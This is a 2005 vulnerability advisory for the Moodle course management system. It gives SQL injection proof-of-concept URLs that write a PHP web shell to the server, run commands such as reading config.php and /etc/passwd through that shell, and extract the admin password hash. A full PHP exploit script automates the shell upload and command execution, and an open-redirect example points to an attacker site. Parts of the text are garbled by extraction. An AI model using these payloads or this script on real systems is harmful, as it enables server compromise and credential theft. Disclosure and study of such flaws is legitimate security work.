5.02 10/11/2005 Moodle <=1.6dev blind SQL Injection / Remote commands/code execution / xss software: site: http://moodle.org/ description: "Moodle is a course management system (CMS) - a free, Open Source software package designed using sound pedagogical principles, to help educators create effective online learning communities.[..]" I) tested: vulnerable versions: Moodle 1.5.2 ( Latest release /released on 16th July 2005) " 1.5.2 ( Latest stable branch /built daily) not vulnerable: Moodle 1.6dev ( Latest Development /built daily) vulnerable code: "get_record()" function in datalib.php, if a var is not properly sanitized before to be passed as argument to it, if magic_quotes_gpc off, we have SQL injection,poc: [1] http://[target]/[path]/course/category.php?id='%20UNION%20SELECT%200,'',0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_course_categories/* [2] http://[target]/[path]/course/info.php?id='UNION%20SELECT%200,0,0,0,'',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_course/* now in shell.php we have something like: 00000000000 so you can launch commands, ex.: http://[target]/[path]/shell.php?cmd=cat%20config.php or you can have any admin/user MD5 password hash, poc: [3] http://[target]/[path]/course/category.php?id='%20UNION%20SELECT%20'',password,'','','','','',''%20INTO%20DUMPFILE%20'../../www/moodle/password.txt'%20FROM%20mdl_user%20WHERE%20username='admin'/* then go to: http://[target]/[path]/password.txt II) tested: vulnerable: Moodle 1.6dev ( Latest Development /built daily) if magic_quotes_gpc is off, you can see at screen any user/admin MD5 password hash, poc: http://[target]/[path]/iplookup/ipatlas/plot.php?address='or%20isnull(1/0)/* ...and inject a shell: http://[target]/[path]/iplookup/ipatlas/plot.php?address='UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'%20',0,0,0,0,0,0,0,0%20INTO%20DUMPFILE%20'../../www/moodle/shell.php'%20FROM%20mdl_user/* this is the exploit code for [I.1], [I.2] and [III]: Moodle 1.6dev SQL Injection /remote cmmnds xctn

Moodle <= 1.6dev remote commands xcution

a script by rgod at http://rgod.altervista.org

hostname (ex: www.sitename.com)

path ( ex: /moodle/ or just /)

path to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement (default: ../../www)

specify a port other than 80 (default value)

a Unix command , example: ls -la to list directories, cat /etc/passwd to show passwd file, cat config.php to see database username and password

send exploit through an HTTP proxy (ip:port)

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "
0".$datai."".$datai."  ".$headeri[$li]."
"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //if you have sockets module loaded, 2x speed! if not,load //next function to send packets { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else //fixed some errors in this function { if ($proxy=='') { echo "Attempting to connect to ".$host." on port ".$port."...
"; $result = socket_connect($socket, $host, $port); } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid proxy...';die;} $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen($host,$port); if (!$ock) { echo 'No response from '.htmlentities($host).' ...'; die;} } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid proxy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die;} } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } function execute_commands() { global $p, $host, $port, $packet, $command, $html; $packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n"; $packet.="Host: ".$host.":".$port."\r\n"; $packet.="Connection: CLose\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("Hi Master", $html)) {echo "Exploit succeeded..."; die; } else {echo "Exploit failed...";} } if (($host<>'') and ($path<>'') and ($command<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($pathtoWWW=='') {$pathtoWWW="../../www";} #default, path for "INTO OUTFILE '[path][file]', two dirs up from mysql data directory, change it for #different installations if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $SHELL=""; $SQL="'UNION SELECT 0,'".$SHELL."',0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_course_categories/*"; $SQL=urlencode($SQL); $packet="GET ".$p."course/category.php?id=".$SQL." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); execute_commands(); $SQL="'UNION SELECT 0,0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_course/*"; $SQL=urlencode($SQL); $packet="GET ".$p."course/info.php?id=".$SQL." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); execute_commands(); $SQL="'UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'".$SHELL."',0,0,0,0,0,0,0,0 INTO DUMPFILE '".$pathtoWWW.$path."shell.php' FROM mdl_user/*"; $SQL=urlencode($SQL); $packet="GET ".$p."iplookup/ipatlas/plot.php?address=".$SQL." HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); execute_commands(); } else {echo 'Fill in requested fields, optionally specify a proxy';} ?> III) you can craft a malicious url to redirect a user to an arbitrary location: http://[target]/[path]/course/jumpto.php?jump=http://www.evilsite.com rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/moodle16dev.html